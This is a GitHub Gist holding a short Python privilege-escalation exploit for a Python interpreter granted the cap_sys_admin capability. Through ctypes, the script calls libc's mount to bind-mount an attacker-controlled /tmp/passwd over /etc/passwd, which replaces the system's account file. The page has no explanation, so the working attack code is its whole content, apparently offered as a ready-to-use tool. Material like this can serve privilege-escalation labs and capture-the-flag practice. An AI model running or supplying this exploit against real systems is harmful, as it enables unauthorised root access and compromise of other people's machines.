Created
December 30, 2022 15:33
-
-
Save GugSaas/70ddcd882633cf36e3b232fc7d3745cb to your computer and use it in GitHub Desktop.
Exploit python capabilities "cap_sys_admin+ep"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from ctypes import * | |
libc = CDLL("libc.so.6") | |
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) | |
MS_BIND = 4096 | |
source = b"/tmp/passwd" | |
target = b"/etc/passwd" | |
filesystemtype = b"none" | |
options = b"rw" | |
mountflags = MS_BIND | |
libc.mount(source, target, filesystemtype, mountflags, options) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment